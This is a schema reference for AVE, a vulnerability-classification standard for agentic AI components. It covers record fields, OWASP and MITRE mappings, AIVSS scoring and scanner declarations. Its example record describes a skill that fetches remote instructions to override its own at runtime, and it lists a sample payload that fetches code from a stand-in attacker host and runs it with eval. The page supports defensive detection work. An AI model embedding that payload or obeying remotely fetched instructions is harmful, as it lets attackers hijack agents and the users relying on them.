AVE Agentic Vulnerability Enumeration
Schema v1.1.0

Record schema

AVE schema v1.1.0: the field reference for the behavioral classification standard for agentic AI components.

Identity & description

Eight fields are required on every record regardless of status, including draft: these are the core submit-required fields. A draft record is not yet peer-reviewed; everything else is enrichment added before promotion to active. Once a record's status is active or deprecated, seven more fields become required (marked below) and the full field set applies.

FieldTypeDescription
ave_idstringrequiredUnique identifier. Format AVE-YYYY-NNNNN. Immutable once published; deprecated via status, never renumbered or deleted.
schema_versionstringrequiredSchema version this record was authored against, e.g. 1.1.0.
statusenumrequiredactive | deprecated | draft.
publisheddate-timerequired once active/deprecatedISO 8601 datetime of first publication.
last_updateddate-timeoptionalISO 8601 datetime of most recent update.
titlestringrequiredHuman-readable title, max 120 chars.
attack_classstringrequiredBehavioral category, e.g. external_instruction_fetch. Not a vulnerability_type string.
component_typeenumoptionalskill | prompt | mcp_server | plugin | agent | tool | other.
descriptionstringrequiredFull description of the vulnerability class.
behavioral_fingerprintstringrequiredWhat the component DOES that is dangerous. Behavioral, not a byte signature.
behavioral_vectorstring[]optionalShort tags summarising the attack path, e.g. supply-chain, external-fetch.
example_patternsstring[]optionalIllustrative attack payload strings or code fragments. Distinct from behavioral_vector (short tags) and indicators_of_compromise (defender observables): researcher-facing examples for detection-rule authoring.
severityenumrequired once active/deprecatedCRITICAL | HIGH | MEDIUM | LOW. Must agree with aivss.aivss_score.
aivss_scorenumberoptionalTop-level shortcut to aivss.aivss_score (0–10). Mirrors the nested value.
cvss_base_vectorstringoptionalCVSS 4.0 base vector string.
mutation_countintegeroptionalNumber of distinct real-world mutations observed.

Framework mappings

owasp_mcp becomes required once a record is active or deprecated: at least one anchor, the core OWASP grounding every published record must have. The other framework fields are optional but strongly recommended when applicable. Add owasp_asi when the class maps to the OWASP Agentic Security Initiative Top 10. Add mitre_atlas when an ATLAS technique applies. Add nist_ai_rmf when relevant. A record without any ATLAS or NIST mapping is still valid; a published record without OWASP MCP is not.

FieldTypeDescription
owasp_mcpstring[]required once active/deprecatedOWASP MCP Top 10. Format: MCPNN. ≥1.
owasp_asistring[]optionalOWASP Agentic Security Initiative (ASI) Top 10. Format: ASINN. Add when the class maps to the Agentic Top 10; omit rather than force a poor fit.
mitre_atlasstring[]optionalMITRE ATLAS technique IDs. Format: AML.Txxxx or AML.Txxxx.000. Add when a technique applies; omit if none exists yet.
nist_ai_rmfstring[]optionalNIST AI RMF function and category mappings, e.g. MAP-1.5.
affected_platformsstring[]optionalAgent platforms known to be affected. Fill as evidence accumulates; do not speculate.
affected_registriesstring[]optionalSkill/tool registries where this class has been observed.

Provenance vector & trifecta profile

Two optional classification objects, both new in v1.1.0. Absent or null means not yet classified, not “does not apply.” Neither affects severity or aivss_score; they're descriptive, not scoring inputs.

FieldTypeDescription
provenance_vector.entry_classenumoptionalOrigin point in the context supply chain: content | server_card | registry_metadata | runtime | transport | tool_response | tool_schema | server_card_document | model_generated | memory | retrieved_document | user_input | operator_config | skill_file.
provenance_vector.payload_surfacestringoptionalThe concrete field or channel carrying the payload, e.g. tool_schema.description. Free text; controlled vocabulary grown by convention.
provenance_vector.escalationenumoptionalThe authority jump this class performs when exploited: data_to_instruction | instruction_to_capability | capability_to_identity. Leave the whole object absent if none fits.
trifecta_profile.requiresstring[]optionalLethal-trifecta conditions (Willison / Palo Alto) that must be present for this class to be exploitable: private_data | untrusted_content | external_comms. ≥1 if the object is present.
trifecta_profile.amplifiesstring[]optionalConditions that worsen impact without being strict preconditions. Same enum as requires.

Mitigation strategy

mitigation is an optional, vendor-neutral companion to the required prose remediation field: it names the class of defense, not a runnable control, so any enforcement tool can build a concrete implementation from these values.

FieldTypeDescription
mitigation.strategystring[]optional≥1 of: deny_by_default | require_human_approval | pin_integrity | isolate_scope | validate_input | sanitize_output | verify_identity | sever_egress | least_privilege | provenance_label.
mitigation.enforcement_pointenumoptionalWhere in the agent lifecycle a defense would sit: static_scan | server_card_fetch | runtime_proxy | agent_framework | downstream_system | network_layer.
mitigation.trifecta_controlenumoptionalWhich trifecta leg to sever, conceptually: break_private_data | break_untrusted_content | break_external_comms | not_applicable.

Detection & remediation

indicators_of_compromise and remediation both become required once a record is active or deprecated, with at least one IOC entry. A published record with no IOCs gives defenders nothing actionable to act on.

FieldTypeDescription
indicators_of_compromisestring[]required once active/deprecatedObservable IOC strings, ≥1. What defenders search for.
detection_methodologystringoptionalStep-by-step detection approach (static, semantic, sandbox).
remediationstringrequired once active/deprecatedHow to mitigate or prevent the class. Must be actionable.
kill_switch_activebooleanoptionalWhether a registry-level kill switch is currently active. Defaults to false.

Provenance

references is required on every record, including draft: even an unreviewed record needs at least one citable source, the provenance signal a skeptic checks first. researcher becomes required once a record is active or deprecated: records must be attributable.

FieldTypeDescription
referencesarrayrequiredPrimary sources: CVEs, papers, disclosures, scan reports. ≥1. Each item: URI string or {tag, text, url} object.
researcherstringrequired once active/deprecatedName of the researcher or team who authored this record.
researcher_urlurioptionalURL for the researcher or team.

The aivss object: OWASP AIVSS v0.8

aivss becomes required once a record is active or deprecated. The aarf block records 10 agentic amplification factors that distinguish AIVSS from plain CVSS. Required sub-fields: cvss_base, aars, thm, mitigation_factor, aivss_score, spec_version.

FieldTypeDescription
cvss_basenumberrequired0–10.
aarfobjectoptional10 agentic amplification factors (0–1 each): autonomy, tool_use, multi_agent, non_determinism, self_modification, dynamic_identity, persistent_memory, natural_language_input, data_access, external_dependencies.
aarsnumberrequiredAgentic Amplification & Reachability Score (0–10).
thmnumberrequiredThreat & Heuristic Multiplier (0.5–1.5).
mitigation_factornumberrequired0–1.
aivss_scorenumberrequiredFinal composed score (0–10). Must agree with top-level severity.
aivss_severityenumoptionalCRITICAL | HIGH | MEDIUM | LOW.
spec_versionconstrequiredAlways “0.8”.
notesstringoptionalFree-text scoring rationale.

Scanner evidence declarations (optional)

Scanner-facing defaults. The record declares baselines; the scanner assigns per-finding actuals. Never carry per-detection values like confidence in a record. See architecture for the declares-vs-assigns contract.

FieldTypeDescription
evidence_kind_defaultenumoptionaltool_description_pattern | config_schema | file_type_mismatch | behavioral_pattern | semantic_inference | multi_engine.
detection_stageenumoptionalstatic_detection | runtime_observed | runtime_drift_detected.
detection_layerenumoptionalcontent | server_card | registry_metadata | runtime | transport.
confidence_baselinenumberoptional0–1. Base confidence before FP pipeline adjustment.
evidence_basis_enginesstring[]optionalpattern | yara | semgrep | llm | sandbox | magika.
derivable_intostring[]optionalToxic-flow chain IDs this class participates in.
Never in a record

Per-detection runtime values belong only on the scanner finding: confidence, confidence_band, actual evidence_stage, confidence_reason, derived, line, match, suppressed.

Field relationships

Several AVE fields sound similar and mean different things. The notes below explain the distinctions.

Loading relationship notes…

Required fields

Eight fields are required on every record, including draft:

ave_id · schema_version · status · title description · attack_class · behavioral_fingerprint · references

Seven more become required once status is active or deprecated:

published · severity · aivss · owasp_mcp indicators_of_compromise · remediation · researcher

Example record

{ "ave_id": "AVE-2026-00001", "schema_version": "1.1.0", "status": "active", "published": "2026-04-01T09:00:00Z", "title": "Metamorphic payload via external config fetch", "attack_class": "supply_chain_metamorphic_payload", "component_type": "skill", "severity": "HIGH", "description": "A skill fetches instructions from an external URL at runtime...", "behavioral_fingerprint": "Component fetches and executes remote content, replacing its own instructions at runtime.", "behavioral_vector": ["supply-chain", "external-fetch", "metamorphic"], "example_patterns": ["fetch('https://attacker.io/instructions').then(r => r.text()).then(eval)"], "aivss_score": 8.0, "owasp_mcp": ["MCP04", "MCP06"], // optional but strongly recommended "owasp_asi": ["ASI01", "ASI04"], "mitre_atlas": ["AML.T0011", "AML.T0054"], "nist_ai_rmf": ["MAP-1.5", "MEASURE-2.5"], "affected_platforms": ["claude-code", "cursor", "windsurf"], "affected_registries": ["smithery.ai", "clawhub.io"], // new in v1.1.0, both optional "provenance_vector": { "entry_class": "content", "payload_surface": "skill_file.instructions", "escalation": "data_to_instruction" }, "trifecta_profile": { "requires": ["untrusted_content", "external_comms"] }, "indicators_of_compromise": [ "Component contains fetch() pointing to an external URL", "Network egress to unexpected domain during initialization" ], "detection_methodology": "1. Static scan. 2. Semantic analysis. 3. Behavioral sandbox.", "remediation": "Remove component. Block network egress. Audit agent actions.", "mitigation": { "strategy": ["sever_egress", "pin_integrity"], "enforcement_point": "static_scan", "trifecta_control": "break_external_comms" }, "aivss": { "cvss_base": 8.5, "aars": 7.5, "thm": 1.0, "mitigation_factor": 1.0, "aivss_score": 8.0, "aivss_severity": "HIGH", "spec_version": "0.8", "aarf": { "autonomy": 1.0, "tool_use": 1.0, "self_modification": 1.0, "external_dependencies": 1.0, ... } }, "references": [{"tag": "Disclosure", "text": "Invariant Labs blog", "url": "https://..."}], "researcher": "Bawbel Security Research Team", "researcher_url": "https://bawbel.io", // scanner evidence declarations (optional) "confidence_baseline": 0.85, "detection_stage": "static_detection", "detection_layer": "content", "evidence_basis_engines": ["pattern", "semgrep", "yara"] }

Canonical schema: schema/ave-record.schema.json; the frozen v1.0.0 schema remains available for validating older records.